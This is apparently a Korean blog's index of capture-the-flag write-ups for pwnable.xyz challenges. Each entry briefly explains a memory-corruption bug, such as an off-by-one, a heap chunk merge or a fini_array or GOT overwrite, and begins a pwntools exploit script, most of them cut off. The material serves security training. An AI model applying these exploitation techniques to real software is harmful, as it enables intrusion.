pwn (96) 썸네일형 리스트형 pwnable.xyz / words save_progress() 함수에서 buf가 비어있고 malloc의 반환 값이 0이 되면 reserve의 주소를 buf에 저장하고 reserve에 값을 저장한다 이를 통해 이후에 해당 함수를 호출할 경우 데이터를 쓰면 reserve에 들어가게 된다 이후에 strcat을 통해 buf의 하위 1byte를 널 바이트로 변조한 뒤 buf영역을 got주소를 주어서 win함수로 덮었다 from pwn import * context.log_level = "debug" p = remote("svc.pwnable.xyz", 30036) #p = process("./words") def num(num1, num2): p.recvuntil(b"> ") p.sendline(b"2") p.recvuntil(b"> ") p.s.. pwnable.xyz / notebook off by one이 터져서 할당된 힙의 하위 1byte를 변조해서 원하는 함수가 호출되도록 할 수 있다 로컬이랑 리모트 환경이 달라서 그냥 힙에다가 win함수 뿌려놓고 대충 조건 맞춰줬다 from pwn import * p = remote("svc.pwnable.xyz", 30035) #p = process("./notebook", env= {"LD_PRELOAD" : "./alpin-libc-2.24.so "}) #gdb.attach(p) def make(size, title, note): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"size: ") p.sendline(str(size)) p.recvuntil(b"Title: ") p.sendline(tit.. pwnable.xyz / nin 입력 받은 데이터만큼 힙을 할당 받고 reznor_struct가 null인 경우 inivite_reznor함수를 호출한다 initvite_reznor함수에서는 힙을 할당 받고 0에는 문자열이 저장된 힙 주소를 저장하고 +8에는 answer_me함수의 주소를 저장한다 이후에 answer_me함수를 호출하고 처음 strdup로 할당된 청크를 free한다 위 함수에서는 수와 문자열을 입력 받고 hash_gift함수의 반환 값이 0xdeadbeef가 되면 reznor에서 할당된 청크들을 해제한다 0xdeadbeef 맞춰서 청크 2개 해제시키고 0xff할당 받아서 병합 시킨담에 병합된 청크 할당 받아서 answer_me를 win으로 덮어줬다 from pwn import * p = remote("svc.pwnabl.. pwnable.xyz / Dirty Turtle aaw 한번하고 프로그램을 종료한다 fini_array win으로 덮으면 된다 from pwn import * p = remote("svc.pwnable.xyz", 30033) #p = process("./dirty_turtle") win = 0x400821 fini_array = 0x600BC0 p.recvuntil(b"Addr: ") p.sendline(str(fini_array)) p.recvuntil(b": ") p.sendline(str(win)) p.interactive() pwnable.xyz / Hero Factory 히어로를 생성, 삭제, 스킬(?) 사용, 프로그램 종료 기능이 주어진다 create_hero함수에서 hero의 이름을 strcat으로 저장하기 때문에 마지막 널 바이트로 hero를 생성할때 설정되는 영역을 덮어서 다시 할당 재할당 받을 수 있고 strct으로 저장하기 때문에 super power 함수가 저장되는 영역도 덮을 수있다 from pwn import * context.log_level = "debug" p = remote("svc.pwnable.xyz", 30032) #p = process("./hero_factory") def create(length, name, power): p.recvuntil(b"> ") p.sendline(b"1") p.recvuntil(b"be? \n") p.send.. pwnable.xyz / note v2 note문제의 v2로 비슷한 기능이 주어진다 hackCTF에도 이와 유사한 문제가 존재하는데 그거에 하위 호환 문제인 것 같다 중요한 기능흔 make_note와 delete_note다 delete_note에서는 note 문자열이 저장된 chunk를 해제하고 book에서도 해당 인덱스를 비워 uaf를 방지한다 make_note에서는 2개의 청크를 할당 받는데 0x28 크기의 청크를 할당받고 해당 청크에 제목을 입력받고 chunk + 0x20에 note문자열을 저장한 청크의 주소를 저장한다 이때 이미 title에서 할당 받은 청크의 0x20에 값이 채워져 있으면 해당 청크를 그대로 사용하게 된다 처음 청크를 만들때 note를 title과 같은 0x28 크기를 할당받고 0x20에 got주소를 넣어준 다음 해제.. pwnable.xyz / executioner v2 ret주소 뽑아서 win으로 만들어준 뒤 jmp하면 된다 solve_pow도 동일한데 0을 사용할 수 없다 적당히 계산해서 4byte가 0이 되도록 곱해주면 된다 from pwn import * def gen_num(data): byte = data % 0x10 if byte == 0: return 0x10000000 top_byte = int((data >> 0x18) / 0x10) if top_byte >= byte and 16 % byte == 0 and byte != 1: return int(16 / byte) * 0x10000000 else: return 0 while True: p = remote("svc.pwnable.xyz", 30028) #p = process("./executioner_.. pwnable.xyz / badayum 일정 확률로 bof가 터진다 canary랑 pie 릭한 담에 ret주소 win으로 덮으면 된다 from pwn import * context.log_level = "debug" p = remote("svc.pwnable.xyz", 30027) #p = process("./badayum") win = 0xd34 def send(data): p.recvuntil(b"you > ") p.send(data) def extract_len(): p.recvuntil(b"me > ") data = p.recvline() return len(data) def find_len(num): while True: length = extract_len() if length >= num: return 0 else: send(b".. 이전 1 2 3 4 5 6 7 8 ··· 12 다음